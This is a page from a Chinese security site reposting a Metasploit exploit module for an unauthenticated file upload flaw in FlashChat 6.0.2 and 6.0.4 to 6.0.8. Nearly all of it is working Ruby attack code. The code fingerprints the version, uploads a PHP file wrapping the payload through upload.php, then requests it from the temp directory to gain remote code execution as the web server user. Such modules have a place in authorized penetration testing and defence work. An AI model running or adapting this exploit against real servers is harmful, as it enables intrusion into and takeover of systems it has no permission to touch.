首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
FlashChat Arbitrary File Upload
来源:metasploit.com 作者:x-hayben21 发布时间:2013-10-08  
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info={})
    super(update_info(info,
      'Name'           => "FlashChat Arbitrary File Upload",
      'Description'    => %q{
        This module exploits a file upload vulnerability found in FlashChat
        versions 6.0.2 and 6.0.4 to 6.0.8. Attackers can abuse the upload
        feature in order to upload malicious PHP files without authentication
        which results in arbitrary remote code execution as the web server user.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'x-hayben21', # Discovery and PoC
          'Brendan Coles <bcoles[at]gmail.com>'  # Metasploit
        ],
      'References'     =>
        [
          ['EDB', '28709']
        ],
      'Payload'        =>
        {
          'BadChars'   => "\x00"
        },
      'Arch'           => ARCH_PHP,
      'Platform'       => 'php',
      'Targets'        =>
        [
          # Tested on FlashChat version 6.0.8
          [ 'Generic (PHP Payload)', {} ]
        ],
      'Privileged'     => false,
      'DisclosureDate' => "Oct 04 2013",
      'DefaultTarget'  => 0))

      register_options(
        [
          OptString.new('TARGETURI', [true, 'The base path to FlashChat', '/chat/'])
        ], self.class)
  end

  #
  # Checks if target is running FlashChat versions 6.0.2, 6.0.4 to 6.0.8
  #
  def check
    uri = normalize_uri(target_uri.path, '')
    res = send_request_raw({'uri' => uri})

    if not res
      print_error("#{peer} - Connection timed out")
      return Exploit::CheckCode::Unknown
    end

    version = res.body.scan(/<title>FlashChat v([\d\.]+)/).flatten[0] || ''

    if version.empty?
      return Exploit::CheckCode::Unknown
    end

    print_status("#{peer} - Version found: #{version}")

    if version =~ /6\.0\.(2|4|5|6|7|8)/
      return Exploit::CheckCode::Vulnerable
    elsif version <= "6.0.8"
      return Exploit::CheckCode::Detected
    else
      return Exploit::CheckCode::Safe
    end

  end


  #
  # Uploads our malicious file
  # Stolen from havalite_upload_exec.rb
  #
  def upload(base)
    fname = "#{rand_text_alphanumeric(rand(10)+6)}.php"
    php   = "<?php #{payload.encoded} ?>"
    data = Rex::MIME::Message.new
    data.add_part(php, "application/octet-stream", nil, "form-data; name=\"file\"; filename=\"#{fname}\"")
    post_data = data.to_s.gsub(/^\r\n--_Part_/, '--_Part_')

    res = send_request_cgi({
      'method' => 'POST',
      'uri'    => normalize_uri(base, 'upload.php'),
      'ctype'  => "multipart/form-data; boundary=#{data.bound}",
      'data'   => post_data
    })

    if not res
      fail_with(Failure::Unknown, "#{peer} - Request timed out while uploading")
    elsif res.code.to_i == 404
      fail_with(Failure::NotFound, "#{peer} - No upload.php found")
    elsif res.code.to_i == 500
      fail_with(Failure::Unknown, "#{peer} - Unable to write #{fname}")
    end

    return fname
  end


  #
  # Executes our uploaded malicious file
  # Stolen from havalite_upload_exec.rb
  #
  def exec(base, payload_fname)
    res = send_request_raw({
      'uri' => normalize_uri(base, 'temp', payload_fname)
    })

    if res and res.code == 404
      fail_with(Failure::NotFound, "#{peer} - Not found: #{payload_fname}")
    end
  end

  def exploit
    base = target_uri.path

    # upload
    print_status("#{peer} - Uploading malicious file...")
    fname = upload(base)

    # register the file to clean
    register_files_for_cleanup(fname)

    # exec
    print_status("#{peer} - Executing #{fname}...")
    exec(base, fname)
  end
end

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Apple Motion 5.0.7 Integer Ove
·ClipBucket Remote Code Executi
·Ice Cold Apps Servers Ultimate
·GestioIP Remote Command Execut
·Evince PDF Reader 2.32.0.145 /
·HP LoadRunner magentproc.exe O
·FreeBSD Intel SYSRET Kernel Pr
·glibc and eglibc 2.5, 2.7, 2.1
·SIEMENS Solid Edge ST4 SEListC
·KMPlayer 3.7.0.109 (.wav) - Cr
·Apache Tomcat/JBoss EJBInvoker
·Microsoft Internet Explorer Se
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved